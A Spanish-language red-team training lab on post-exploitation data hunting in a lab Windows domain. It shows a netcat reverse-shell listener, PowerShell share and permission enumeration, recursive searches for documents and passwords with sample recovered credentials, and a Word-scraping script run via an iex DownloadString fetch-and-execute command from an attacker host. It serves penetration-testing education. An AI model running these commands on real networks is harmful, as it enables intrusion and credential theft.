



## LABORATORIO 6.1 : Searching data on user machines

TEMA: *Searching for the crown jewels*

### Objetivos:

- Obtener archivos relevantes en todo el dominio con un host previamente comprometido
- En el host, se logro escalamiento de privilegios local y se tiene una session establecida con netcat.

### Descripción / Escenario:

Una estación de trabajo que pertenece al Dominio ACME.HACK se encuentra comprometida y se desea comenzar a extraer datos (diagramas de red, archivos con contraseñas, datos personales como nombres, documento de identidad, números privados telefónicos, cargo en la empresa, anexos, etc )

El dispositivo comprometido tiene como sistema operativo Windows 10 Pro (Build 19xx)

### Recursos necesarios:

Máquina Virtual atacante: Kali con shell reversa a Windows 10 Pro (Build 19xx).

Máquina Virtual objetivo: Toda la subred o subredes adyacentes.

### Procedimiento:

#### Paso 1:

En el atacante abrir el puerto 443 con netcat para establecer una sesion:

```
#netcat -lvp 443
```

Una vez obtenido la shell, usar el comando:

```
c:>powershell.exe
```

Se obtendra:

```
PS c:>
```

Con la consola de powershell ejecutar los siguientes comandos:

```
get-WmiObject -class Win32_Share -computer <target>
```

Ejemplo:

```
get-WmiObject -class Win32_Share -computer W2K12-ACME-AD2-SQL
```

```
get-WmiObject -class Win32_Share -computer W2K16-ACME-AD1
```



```
PS C:\Windows\system32> Get-WmiObject -Class win32_share -ComputerName W2K12-ACME-AD2-SQL

Name                Path                Description
----                -
ADMIN$              C:\Windows          Remote A...
C$                  C:\                  Default ...
compartido-w2k12-server2 - 1 user C:\Users\administrator.ACME\Desktop\compartido-w2k12-server2 - 1 user
compartido-w2k12-server2 - lectura) C:\Users\administrator.ACME\Desktop\compartido-w2k12-server2 - lectura)
compartido-w2k12-server2 C:\Users\administrator.ACME\Desktop\compartido-w2k12-server2
IPC$                C:\Windows\SYSTEM32\sysvol\acme.hack\SCRIPTS Remote IPC
SYSVOL              C:\Windows\SYSTEM32\sysvol Logon se...
Users               C:\Users             Logon se...

PS C:\Windows\system32> net view \\W2K12-ACME-AD2-SQL
Shared resources at \\W2K12-ACME-AD2-SQL

Share name          Type Used as Comment
-----
compartido-w2k12-server2 Disk
compartido-w2k12-server2 - 1 user Disk
compartido-w2k12-server2 - lectura) Disk
NETLOGON            Disk Logon server share
SYSVOL               Disk Logon server share
Users               Disk
The command completed successfully.
```

Figura 2. Enumeramos remotamente las carpetas compartidas

## Paso 2:

Validamos permisos sobre la carpeta compartidas, teniendo en cuenta que no contamos con credenciales. Las carpetas a explorar seran con valor Access = "Everyone Allow"

```
PS C:\Windows\system32> Get-Acl \\W2K12-ACME-AD2-SQL\Users\administrator.ACME\Desktop\shared1-alexis

Directory: \\W2K12-ACME-AD2-SQL\Users\administrator.ACME\Desktop

Path                Owner                Access
----                -
shared1-alexis      BUILTIN\Administrators S-1-5-21-2561545344-549731921-2162222660-1106 Allow FullControl...

PS C:\Windows\system32> Get-Acl \\W2K12-ACME-AD2-SQL\Users\administrator.ACME\Desktop\shared2-R

Directory: \\W2K12-ACME-AD2-SQL\Users\administrator.ACME\Desktop

Path                Owner                Access
----                -
shared2-R           BUILTIN\Administrators Everyone Allow ReadAndExecute, Synchronize...

PS C:\Windows\system32> Get-Acl \\W2K12-ACME-AD2-SQL\Users\administrator.ACME\Desktop\shared3

Directory: \\W2K12-ACME-AD2-SQL\Users\administrator.ACME\Desktop

Path                Owner                Access
----                -
shared3            BUILTIN\Administrators Everyone Allow FullControl...
```

Figura 3. Validamos los permisos sobre las carpetas compartidas

## Paso 3:

Luego de validar el permisos sobre las carpetas, realizamos una busqueda de archivos -



txt, .doc, .docx, .xls, .xlsx etc

**Get-ChildItem "\\< folder compartido>" -Include \*.doc, \*.docx, \*.xls, \*.xlsx \*.txt -Recurse -ErrorAction Ignore -Force**

**Ejemplo:**

**Get-ChildItem "\\w10o-acme\file" -Include \*.doc, \*.docx, \*.xls, \*.xlsx -Recurse -ErrorAction Ignore -Force**

```

PS C:\Users\luis> Get-ChildItem "\\w10o-acme\file" -Include *.doc, *.docx, *.xls, *.xlsx, *.txt -Recurse -ErrorAction Ignore -Force

Directorio: \\w10o-acme\file

Mode                LastWriteTime         Length Name
----                -
-a----          18/09/2019   11:54              0 documento2.docx
-a----          18/09/2019   11:54              0 documento3.docx
-a----          17/09/2019   22:29         12712 importante.docx
-a----          17/09/2019   11:39         8821 importante.xlsx
-a-h--          16/09/2019   11:53         162 ~$importante.docx

PS C:\Users\luis> Get-ChildItem "\\w2k16-acme-ad1\relation\" -Include *.doc, *.docx, *.xls, *.xlsx, *.txt -Recurse -ErrorAction Ignore -Force

Directorio: \\w2k16-acme-ad1\relation\usersad\hidden

Mode                LastWriteTime         Length Name
----                -
-a----          16/09/2019   21:01           57 relacion_administrador.txt.txt

PS C:\Users\luis>

```

Figura 4. Contraseña descubierta para el usuario test.

#### Paso 4:

Después de localizar archivos compartidos, parseamos los datos para localizar data sensible, para esta caso usaremos las palabras claves “pass” y “admin”

**Get-ChildItem "\\<nombre host>\<carpeta>" -Recurse -Include \*<nombre de archivo>\*.txt | Select-String -Pattern <palabra clave>**

**Ejemplo:**

**Get-ChildItem "\\W2K16-ACME-AD1\relation\" -Recurse -Include \*admin\*.txt | Select-String -Pattern admin**

```

PS C:\Users\luis> Get-ChildItem "\\w2k16-acme-ad1\relation\" -Recurse -Include *admin*.txt | Select-String -Pattern admin

\\w2k16-acme-ad1\relation\usersad\hidden\relacion_administrador.txt.txt:2:administrator:Acme#321*
\\w2k16-acme-ad1\relation\usersad\hidden\relacion_administrador.txt.txt:3:admin:Admin567_2017

PS C:\Users\luis>

```

Figura 5. Localizamos el archivo y el contenido, con la palabra clave.

Para el caso de archivos en Word y Excel, podemos usar el “com interface” por ejemplo para word: Word.application, aca un ejemplo del script a ejecutar:

**Remove-Item claves.txt,docs.txt 2>\$null**

**Get-ChildItem "\\w10o-acme\file" -Include \*.doc, \*.docx -Recurse -ErrorAction Ignore -Force | % {\$\_.FullName} >> docs.txt**

**foreach (\$line in Get-Content docs.txt){**

**\$Word = New-Object -ComObject Word.Application**

**\$Document = \$Word.Documents.Open("\$line")**

**\$Document.Paragraphs | ForEach-Object {**

**\$\_.Range.Text >> claves.txt**



```
}  
cat claves.txt | Select-String -Pattern pass  
$Word.Quit()
```

```
}
```

**\*En la consola del atacante**

Grabamos el archivo con el nombre “script.ps1” en la ruta /var/www/html/.

Habilitamos el servicio apache con:

```
#service apache2 start
```

**\*En la consola de la víctima**

luego en el host comprometido ejecutamos en la consola de powershell el siguiente comando:

```
PS C:>iex(New-Object Net.WebClient).DownloadString('http://<ip atacante/script.ps1')
```

## Comentarios:



# Open-Sec

They run automated tools, We have Pentesters



**RED TEAM :**  
**BREAKING SECURITY FOR REAL**